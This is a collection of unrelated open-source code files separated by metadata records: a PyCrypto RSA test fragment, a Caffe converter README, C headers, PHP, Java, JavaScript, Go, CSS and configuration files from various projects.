c3 1b 2e 8b b4 25 1f 84 d7 e0 b2 c0 46 26 f5 af
f9 3e dc fb 25 c9 c2 b3 ff 8a e1 0e 83 9a 2d db
4c dc fe 4f f4 77 28 b4 a1 b7 c1 36 2b aa d2 9a
b4 8d 28 69 d5 02 41 21 43 58 11 59 1b e3 92 f9
82 fb 3e 87 d0 95 ae b4 04 48 db 97 2f 3a c1 4f
7b c2 75 19 52 81 ce 32 d2 f1 b7 6d 4d 35 3e 2d
"""
ciphertext = """
12 53 e0 4d c0 a5 39 7b b4 4a 7a b8 7e 9b f2 a0
39 a3 3d 1e 99 6f c8 2a 94 cc d3 00 74 c9 5d f7
63 72 20 17 06 9e 52 68 da 5d 1c 0b 4f 87 2c f6
53 c1 1d f8 23 14 a6 79 68 df ea e2 8d ef 04 bb
6d 84 b1 c3 1d 65 4a 19 70 e5 78 3b d6 eb 96 a0
24 c2 ca 2f 4a 90 fe 9f 2e f5 c9 c1 40 e5 bb 48
da 95 36 ad 87 00 c8 4f c9 13 0a de a7 4e 55 8d
51 a7 4d df 85 d8 b5 0d e9 68 38 d6 06 3e 09 55
"""
modulus = """
bb f8 2f 09 06 82 ce 9c 23 38 ac 2b 9d a8 71 f7
36 8d 07 ee d4 10 43 a4 40 d6 b6 f0 74 54 f5 1f
b8 df ba af 03 5c 02 ab 61 ea 48 ce eb 6f cd 48
76 ed 52 0d 60 e1 ec 46 19 71 9d 8a 5b 8b 80 7f
af b8 e0 a3 df c7 37 72 3e e6 b4 b7 d9 3a 25 84
ee 6a 64 9d 06 09 53 74 88 34 b2 45 45 98 39 4e
e0 aa b1 2d 7b 61 a5 1f 52 7a 9a 41 f6 c1 68 7f
e2 53 72 98 ca 2a 8f 59 46 f8 e5 fd 09 1d bd cb
"""
e = 0x11L # public exponent
prime_factor = """
c9 7f b1 f0 27 f4 53 f6 34 12 33 ea aa d1 d9 35
3f 6c 42 d0 88 66 b1 d0 5a 0f 20 35 02 8b 9d 86
98 40 b4 16 66 b4 2e 92 ea 0d a3 b4 32 04 b5 cf
ce 33 52 52 4d 04 16 a5 a4 41 e7 00 af 46 15 03
"""
def setUp(self):
global RSA, Random, bytes_to_long
from Crypto.PublicKey import RSA
from Crypto import Random
from Crypto.Util.number import bytes_to_long, inverse
self.n = bytes_to_long(a2b_hex(self.modulus))
self.p = bytes_to_long(a2b_hex(self.prime_factor))
# Compute q, d, and u from n, e, and p
self.q = divmod(self.n, self.p)[0]
self.d = inverse(self.e, (self.p-1)*(self.q-1))
self.u = inverse(self.p, self.q) # u = e**-1 (mod q)
self.rsa = RSA
def test_generate_1arg(self):
"""RSA (default implementation) generated key (1 argument)"""
rsaObj = self.rsa.generate(1024)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
def test_generate_2arg(self):
"""RSA (default implementation) generated key (2 arguments)"""
rsaObj = self.rsa.generate(1024, Random.new().read)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
def test_generate_3args(self):
rsaObj = self.rsa.generate(1024, Random.new().read,e=65537)
self._check_private_key(rsaObj)
self._exercise_primitive(rsaObj)
pub = rsaObj.publickey()
self._check_public_key(pub)
self._exercise_public_primitive(rsaObj)
self.assertEqual(65537,rsaObj.e)
def test_construct_2tuple(self):
"""RSA (default implementation) constructed key (2-tuple)"""
pub = self.rsa.construct((self.n, self.e))
self._check_public_key(pub)
self._check_encryption(pub)
self._check_verification(pub)
def test_construct_3tuple(self):
"""RSA (default implementation) constructed key (3-tuple)"""
rsaObj = self.rsa.construct((self.n, self.e, self.d))
self._check_encryption(rsaObj)
self._check_decryption(rsaObj)
self._check_signing(rsaObj)
self._check_verification(rsaObj)
def test_construct_4tuple(self):
"""RSA (
|
{
"pile_set_name": "Github"
}
| null | null |
# CaffeConverter
The tool will help you convert trained models from Caffe to CNTK.
*Convert trained models:* giving a model script and its weights file, export to CNTK model.
## Dependency
1. Protobuf
Using `pip install protobuf`
2. Caffe runtime support (Optional)
While loading Caffe models, Model2CNTK will first try to find Caffe packages in you Python dirs.
If failing, system will turn to use protobuf to load the models (maybe long as a few mins). A
reference to get Caffe python support:
https://github.com/BVLC/caffe/tree/windows
3. You may need to compile caffe_pb2.py with following steps:
a. download and install *`protoc`* in [official website](https://developers.google.com/protocol-buffers)
b. *protoc -I=$Caffe_DIR --python_out=$DST_DIR $Caffe_DIR/proto/caffe.proto*
c. copy *caffe_pb2.py* to adapter/bvlccaffe
## Usage and Configuration
`CaffeConverter.from_model(global_conf_path)`
*Usage example:* see [here](./examples/run_convert.py)
*About global conf file:* see guideline in [here](./utils/README.md) and template in [here](./examples/Classification/AlexNet_ImageNet/global.json)
## Support layers
Convolution, Dense/Linear, ReLU, Max/Average Pooling, Softmax, Batch Normalization, LRN, Splice, Plus
## Known Issues
*Model version:* we only support inputs with definition of Input layer. To adapt it, please
first upgrade your model and prototxt in Caffe tools with commands:
*upgrade_net_proto_text/binary.sh*
## Examples
Please find an example of converter usage in [here](./examples/README.md)
|
{
"pile_set_name": "Github"
}
| null | null |
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#ifndef _ASM_POWERPC_SWAB_H
#define _ASM_POWERPC_SWAB_H
#include <linux/types.h>
#ifdef __GNUC__
#ifndef __powerpc64__
#define __SWAB_64_THRU_32__
#endif /* __powerpc64__ */
#endif /* __GNUC__ */
#endif /* _ASM_POWERPC_SWAB_H */
|
{
"pile_set_name": "Github"
}
| null | null |
<?php
/**
* MIT License. This file is part of the Propel package.
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Propel\Generator\Model;
/**
* Object to hold vendor specific information.
*
* @author Hans Lellelid <hans@xmpl.org> (Propel)
* @author Hugo Hamon <webmaster@apprendre-php.com> (Propel)
*/
class VendorInfo extends MappingModel
{
/**
* @var string|null
*/
private $type;
/**
* @var array
*/
private $parameters;
/**
* Creates a new VendorInfo instance.
*
* @param string|null $type RDBMS type (optional)
* @param array $parameters An associative array of vendor's parameters (optional)
*/
public function __construct($type = null, array $parameters = [])
{
$this->parameters = [];
if ($type !== null) {
$this->setType($type);
}
if ($parameters) {
$this->setParameters($parameters);
}
}
/**
* Sets the RDBMS type for this vendor specific information.
*
* @param string $type
*
* @return void
*/
public function setType($type)
{
$this->type = $type;
}
/**
* Returns the RDBMS type for this vendor specific information.
*
* @return string
*/
public function getType()
{
return $this->type;
}
/**
* Sets a parameter value.
*
* @param string $name The parameter name
* @param mixed $value The parameter value
*
* @return void
*/
public function setParameter($name, $value)
{
$this->parameters[$name] = $value;
}
/**
* Returns a parameter value.
*
* @param string $name The parameter name
*
* @return mixed
*/
public function getParameter($name)
{
return isset($this->parameters[$name]) ? $this->parameters[$name] : null;
}
/**
* Returns whether or not a parameter exists.
*
* @param string $name
*
* @return bool
*/
public function hasParameter($name)
{
return isset($this->parameters[$name]);
}
/**
* Sets an associative array of parameters for vendor specific information.
*
* @param array $parameters Parameter data.
*
* @return void
*/
public function setParameters(array $parameters = [])
{
$this->parameters = $parameters;
}
/**
* Returns an associative array of parameters for
* vendor specific information.
*
* @return array
*/
public function getParameters()
{
return $this->parameters;
}
/**
* Returns whether or not this vendor info is empty.
*
* @return bool
*/
public function isEmpty()
{
return empty($this->parameters);
}
/**
* Returns a new VendorInfo object that combines two VendorInfo objects.
*
* @param \Propel\Generator\Model\VendorInfo $info
*
* @return \Propel\Generator\Model\VendorInfo
*/
public function getMergedVendorInfo(VendorInfo $info)
{
$params = array_merge($this->parameters, $info->getParameters());
$newInfo = new VendorInfo($this->type);
$newInfo->setParameters($params);
return $newInfo;
}
/**
* @return void
*/
protected function setupObject()
{
$this->type = $this->getAttribute('type');
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
#ifndef __SOUND_WTM_H
#define __SOUND_WTM_H
/* ID */
#define WTM_DEVICE_DESC "{EGO SYS INC,WaveTerminal 192M},"
#define VT1724_SUBDEVICE_WTM 0x36495345 /* WT192M ver1.0 */
/*
*chip addresses on I2C bus
*/
#define AK4114_ADDR 0x20 /*S/PDIF receiver*/
#define STAC9460_I2C_ADDR 0x54 /* ADC*2 | DAC*6 */
#define STAC9460_2_I2C_ADDR 0x56 /* ADC|DAC *2 */
extern struct snd_ice1712_card_info snd_vt1724_wtm_cards[];
#endif /* __SOUND_WTM_H */
|
{
"pile_set_name": "Github"
}
| null | null |
<!DOCTYPE html>
<html lang="en-US">
<head>
<title>test of border-image</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="Content-Style-Type" content="text/css">
<style type="text/css">
div.p1 {
background: red; /* fail if this shows through */
background-image: url('3x3multicolor.png'); /* fail if this shows through */
border-width: 1px 3px;
border-style: solid;
border-image: url('4x4multicolor.png') 1 1 1 1 repeat;
-khtml-border-image: url('4x4multicolor.png') 1 1 1 1 repeat;
border-image: url('4x4multicolor.png') 1 1 1 1 repeat;
}
div.p2 {
background: red; /* fail if this shows through */
background-image: url('3x3multicolor.png'); /* fail if this shows through */
border-width: 1px 3px;
border-style: solid;
border-image: url('4x4multicolor.png') 1 1 1 1;
-khtml-border-image: url('4x4multicolor.png') 1 1 1 1;
border-image: url('4x4multicolor.png') 1 1 1 1;
}
</style>
</head>
<body>
<div class="p1" style="width: 4px; height: 2px"></div>
<!--<div class="p2" style="width: 4px; height: 2px"></div> -->
</body>
</html>
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package java.sql;
/**
* <P>The subclass of {@link SQLException} thrown when the timeout specified by
* {@code Statement.setQueryTimeout}, {@code DriverManager.setLoginTimeout},
* {@code DataSource.setLoginTimeout},{@code XADataSource.setLoginTimeout}
* has expired.
* <P> This exception does not correspond to a standard SQLState.
*
* @since 1.6
*/
public class SQLTimeoutException extends SQLTransientException {
/**
* Constructs a <code>SQLTimeoutException</code> object.
* The <code>reason</code>, <code>SQLState</code> are initialized
* to <code>null</code> and the vendor code is initialized to 0.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method.
*
* @since 1.6
*/
public SQLTimeoutException() {
super();
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>reason</code>. The <code>SQLState</code>
* is initialized to <code>null</code> and the vendor code is initialized
* to 0.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method.
*
* @param reason a description of the exception
* @since 1.6
*/
public SQLTimeoutException(String reason) {
super(reason);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>reason</code> and <code>SQLState</code>.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method. The vendor code
* is initialized to 0.
*
* @param reason a description of the exception
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState) {
super(reason, SQLState);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>reason</code>, <code>SQLState</code> and
* <code>vendorCode</code>.
*
* The <code>cause</code> is not initialized, and may subsequently be
* initialized by a call to the
* {@link Throwable#initCause(java.lang.Throwable)} method.
*
* @param reason a description of the exception
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @param vendorCode a database vendor specific exception code
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState, int vendorCode) {
super(reason, SQLState, vendorCode);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given <code>cause</code>.
* The <code>SQLState</code> is initialized
* to <code>null</code> and the vendor code is initialized to 0.
* The <code>reason</code> is initialized to <code>null</code> if
* <code>cause==null</code> or to <code>cause.toString()</code> if
* <code>cause!=null</code>.
*
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(Throwable cause) {
super(cause);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given
* <code>reason</code> and <code>cause</code>.
* The <code>SQLState</code> is initialized to <code>null</code>
* and the vendor code is initialized to 0.
*
* @param reason a description of the exception.
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(String reason, Throwable cause) {
super(reason, cause);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given
* <code>reason</code>, <code>SQLState</code> and <code>cause</code>.
* The vendor code is initialized to 0.
*
* @param reason a description of the exception.
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState, Throwable cause) {
super(reason, SQLState, cause);
}
/**
* Constructs a <code>SQLTimeoutException</code> object
* with a given
* <code>reason</code>, <code>SQLState</code>, <code>vendorCode</code>
* and <code>cause</code>.
*
* @param reason a description of the exception
* @param SQLState an XOPEN or SQL:2003 code identifying the exception
* @param vendorCode a database vendor-specific exception code
* @param cause the underlying reason for this <code>SQLException</code> (which is saved for later retrieval by the <code>getCause()</code> method); may be null indicating
* the cause is non-existent or unknown.
* @since 1.6
*/
public SQLTimeoutException(String reason, String SQLState, int vendorCode, Throwable cause) {
super(reason, SQLState, vendorCode, cause);
}
private static final long serialVersionUID = -4487171280562520262L;
}
|
{
"pile_set_name": "Github"
}
| null | null |
/*****************************************************************************
Copyright (c) 2011, Intel Corp.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Intel Corporation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************
* Contents: Native high-level C interface to LAPACK function dlapy2
* Author: Intel Corporation
* Generated November, 2011
*****************************************************************************/
#include "lapacke_utils.h"
double LAPACKE_dlapy2( double x, double y )
{
#ifndef LAPACK_DISABLE_NAN_CHECK
if( LAPACKE_get_nancheck() ) {
/* Optionally check input matrices for NaNs */
if( LAPACKE_d_nancheck( 1, &x, 1 ) ) {
return -1;
}
if( LAPACKE_d_nancheck( 1, &y, 1 ) ) {
return -2;
}
}
#endif
return LAPACKE_dlapy2_work( x, y );
}
|
{
"pile_set_name": "Github"
}
| null | null |
{
"compilerOptions": {
"module": "commonjs",
"lib": [
"es6"
],
"noImplicitAny": true,
"noImplicitThis": true,
"strictNullChecks": false,
"strictFunctionTypes": true,
"baseUrl": "../",
"typeRoots": [
"../"
],
"types": [],
"noEmit": true,
"forceConsistentCasingInFileNames": true
},
"files": [
"index.d.ts",
"gulp-sourcemaps-tests.ts"
]
}
|
{
"pile_set_name": "Github"
}
| null | null |
const path = require('path');
const resolve = require('resolve');
module.exports = function (cwd, moduleName, register) {
try {
var modulePath = resolve.sync(moduleName, {basedir: cwd});
var result = require(modulePath);
if (typeof register === 'function') {
register(result);
}
} catch (e) {
result = e;
}
return result;
};
|
{
"pile_set_name": "Github"
}
| null | null |
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
* @format
*/
'use strict';
const ReactNativeStyleAttributes = require('../Components/View/ReactNativeStyleAttributes');
const UIManager = require('./UIManager');
const insetsDiffer = require('../Utilities/differ/insetsDiffer');
const invariant = require('invariant');
const matricesDiffer = require('../Utilities/differ/matricesDiffer');
const pointsDiffer = require('../Utilities/differ/pointsDiffer');
const processColor = require('../StyleSheet/processColor');
const processColorArray = require('../StyleSheet/processColorArray');
const resolveAssetSource = require('../Image/resolveAssetSource');
const sizesDiffer = require('../Utilities/differ/sizesDiffer');
function getNativeComponentAttributes(uiViewClassName: string): any {
const viewConfig = UIManager.getViewManagerConfig(uiViewClassName);
invariant(
viewConfig != null && viewConfig.NativeProps != null,
'requireNativeComponent: "%s" was not found in the UIManager.',
uiViewClassName,
);
// TODO: This seems like a whole lot of runtime initialization for every
// native component that can be either avoided or simplified.
let {baseModuleName, bubblingEventTypes, directEventTypes} = viewConfig;
let nativeProps = viewConfig.NativeProps;
while (baseModuleName) {
const baseModule = UIManager.getViewManagerConfig(baseModuleName);
if (!baseModule) {
console.warn('Base module "%s" does not exist', baseModuleName);
baseModuleName = null;
} else {
bubblingEventTypes = {
...baseModule.bubblingEventTypes,
...bubblingEventTypes,
};
directEventTypes = {
...baseModule.directEventTypes,
...directEventTypes,
};
nativeProps = {
...baseModule.NativeProps,
...nativeProps,
};
baseModuleName = baseModule.baseModuleName;
}
}
const validAttributes = {};
for (const key in nativeProps) {
const typeName = nativeProps[key];
const diff = getDifferForType(typeName);
const process = getProcessorForType(typeName);
validAttributes[key] =
diff == null && process == null ? true : {diff, process};
}
// Unfortunately, the current setup declares style properties as top-level
// props. This makes it so we allow style properties in the `style` prop.
// TODO: Move style properties into a `style` prop and disallow them as
// top-level props on the native side.
validAttributes.style = ReactNativeStyleAttributes;
Object.assign(viewConfig, {
uiViewClassName,
validAttributes,
bubblingEventTypes,
directEventTypes,
});
if (!hasAttachedDefaultEventTypes) {
attachDefaultEventTypes(viewConfig);
hasAttachedDefaultEventTypes = true;
}
return viewConfig;
}
// TODO: Figure out how this makes sense. We're using a global boolean to only
// initialize this on the first eagerly initialized native component.
let hasAttachedDefaultEventTypes = false;
function attachDefaultEventTypes(viewConfig: any) {
// This is supported on UIManager platforms (ex: Android),
// as lazy view managers are not implemented for all platforms.
// See [UIManager] for details on constants and implementations.
const constants = UIManager.getConstants();
if (constants.ViewManagerNames || constants.LazyViewManagersEnabled) {
// Lazy view managers enabled.
viewConfig = merge(viewConfig, UIManager.getDefaultEventTypes());
} else {
viewConfig.bubblingEventTypes = merge(
viewConfig.bubblingEventTypes,
constants.genericBubblingEventTypes,
);
viewConfig.directEventTypes = merge(
viewConfig.directEventTypes,
constants.genericDirectEventTypes,
);
}
}
// TODO: Figure out how to avoid all this runtime initialization cost.
function merge(destination: ?Object, source: ?Object): ?Object {
if (!source) {
return destination;
}
if (!destination) {
return source;
}
for (const key in source) {
if (!source.hasOwnProperty(key)) {
continue;
}
let sourceValue = source[key];
if (destination.hasOwnProperty(key)) {
const destinationValue = destination[key];
if (
typeof sourceValue === 'object' &&
typeof destinationValue === 'object'
) {
sourceValue = merge(destinationValue, sourceValue);
}
}
destination[key] = sourceValue;
}
return destination;
}
function getDifferForType(
typeName: string,
): ?(prevProp: any, nextProp: any) => boolean {
switch (typeName) {
// iOS Types
case 'CATransform3D':
return matricesDiffer;
case 'CGPoint':
return pointsDiffer;
case 'CGSize':
return sizesDiffer;
case 'UIEdgeInsets':
return insetsDiffer;
// Android Types
// (not yet implemented)
}
return null;
}
function getProcessorForType(typeName: string): ?(nextProp: any) => any {
switch (typeName) {
// iOS Types
case 'CGColor':
case 'UIColor':
return processColor;
case 'CGColorArray':
case 'UIColorArray':
return processColorArray;
case 'CGImage':
case 'UIImage':
case 'RCTImageSource':
return resolveAssetSource;
// Android Types
case 'Color':
return processColor;
case 'ColorArray':
return processColorArray;
}
return null;
}
module.exports = getNativeComponentAttributes;
|
{
"pile_set_name": "Github"
}
| null | null |
(function($){
$.fn.validationEngineLanguage = function(){
};
$.validationEngineLanguage = {
newLang: function(){
$.validationEngineLanguage.allRules = {
"required": { // Add your regex rules here, you can take telephone as an example
"regex": "none",
"alertText": "* Dette felt skal udfyldes",
"alertTextCheckboxMultiple": "* Vælg venligst en af mulighederne",
"alertTextCheckboxe": "* Dette felt er påkrævet"
},
"requiredInFunction": {
"func": function(field, rules, i, options){
return (field.val() == "test") ? true : false;
},
"alertText": "* Indholdet af feltet skal være lig med test"
},
"minSize": {
"regex": "none",
"alertText": "* Minimum ",
"alertText2": " tegn tilladt"
},
"maxSize": {
"regex": "none",
"alertText": "* Maksimum ",
"alertText2": " tegn tilladt"
},
"groupRequired": {
"regex": "none",
"alertText": "* Du skal udfylde mindst et af følgende felter"
},
"min": {
"regex": "none",
"alertText": "* Den mindst tilladte værdi er "
},
"max": {
"regex": "none",
"alertText": "* Den maksimalt tilladte værdi er "
},
"past": {
"regex": "none",
"alertText": "* Datoen skal være før "
},
"future": {
"regex": "none",
"alertText": "* Datoen skal være efter "
},
"maxCheckbox": {
"regex": "none",
"alertText": "* Antallet af tilladte valg er overskredet"
},
"minCheckbox": {
"regex": "none",
"alertText": "* Vælg venligst ",
"alertText2": " muligheder"
},
"equals": {
"regex": "none",
"alertText": "* Felterne er ikke ens"
},
"creditCard": {
"regex": "none",
"alertText": "* Ugyldigt kreditkortnummer"
},
"phone": {
// credit: jquery.h5validate.js / orefalo
"regex": /^([\+][0-9]{1,3}([ \.\-])?)?([\(][0-9]{1,6}[\)])?([0-9 \.\-]{1,32})(([A-Za-z \:]{1,11})?[0-9]{1,4}?)$/,
"alertText": "* Ikke gyldigt telefonnummer"
},
"email": {
// Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/
"regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i,
"alertText": "* Ikke gyldig e-mail"
},
"integer": {
"regex": /^[\-\+]?\d+$/,
"alertText": "* Ikke et korrekt tal"
},
"number": {
// Number, including positive, negative, and floating decimal. credit: orefalo
"regex": /^[\-\+]?((([0-9]{1,3})([,][0-9]{3})*)|([0-9]+))?([\.]([0-9]+))?$/,
"alertText": "* Ugyldig decimaltal"
},
"date": {
"regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/,
"alertText": "* Ugyldig dato, skal være i formatet ÅÅÅÅ-MM-DD"
},
"ipv4": {
"regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/,
"alertText": "* Ugyldig IP adresse"
},
"url": {
"regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFD
|
{
"pile_set_name": "Github"
}
| null | null |
: ascii("α")
1 2
+-------------+
1 | 206 177 |
+-------------+
|
{
"pile_set_name": "Github"
}
| null | null |
/*
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1
import (
v1 "github.com/apache/camel-k/pkg/apis/camel/v1"
"github.com/apache/camel-k/pkg/client/camel/clientset/versioned/scheme"
rest "k8s.io/client-go/rest"
)
type CamelV1Interface interface {
RESTClient() rest.Interface
BuildsGetter
CamelCatalogsGetter
IntegrationsGetter
IntegrationKitsGetter
IntegrationPlatformsGetter
}
// CamelV1Client is used to interact with features provided by the camel.apache.org group.
type CamelV1Client struct {
restClient rest.Interface
}
func (c *CamelV1Client) Builds(namespace string) BuildInterface {
return newBuilds(c, namespace)
}
func (c *CamelV1Client) CamelCatalogs(namespace string) CamelCatalogInterface {
return newCamelCatalogs(c, namespace)
}
func (c *CamelV1Client) Integrations(namespace string) IntegrationInterface {
return newIntegrations(c, namespace)
}
func (c *CamelV1Client) IntegrationKits(namespace string) IntegrationKitInterface {
return newIntegrationKits(c, namespace)
}
func (c *CamelV1Client) IntegrationPlatforms(namespace string) IntegrationPlatformInterface {
return newIntegrationPlatforms(c, namespace)
}
// NewForConfig creates a new CamelV1Client for the given config.
func NewForConfig(c *rest.Config) (*CamelV1Client, error) {
config := *c
if err := setConfigDefaults(&config); err != nil {
return nil, err
}
client, err := rest.RESTClientFor(&config)
if err != nil {
return nil, err
}
return &CamelV1Client{client}, nil
}
// NewForConfigOrDie creates a new CamelV1Client for the given config and
// panics if there is an error in the config.
func NewForConfigOrDie(c *rest.Config) *CamelV1Client {
client, err := NewForConfig(c)
if err != nil {
panic(err)
}
return client
}
// New creates a new CamelV1Client for the given RESTClient.
func New(c rest.Interface) *CamelV1Client {
return &CamelV1Client{c}
}
func setConfigDefaults(config *rest.Config) error {
gv := v1.SchemeGroupVersion
config.GroupVersion = &gv
config.APIPath = "/apis"
config.NegotiatedSerializer = scheme.Codecs.WithoutConversion()
if config.UserAgent == "" {
config.UserAgent = rest.DefaultKubernetesUserAgent()
}
return nil
}
// RESTClient returns a RESTClient that is used to communicate
// with API server by this client implementation.
func (c *CamelV1Client) RESTClient() rest.Interface {
if c == nil {
return nil
}
return c.restClient
}
|
{
"pile_set_name": "Github"
}
| null | null |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
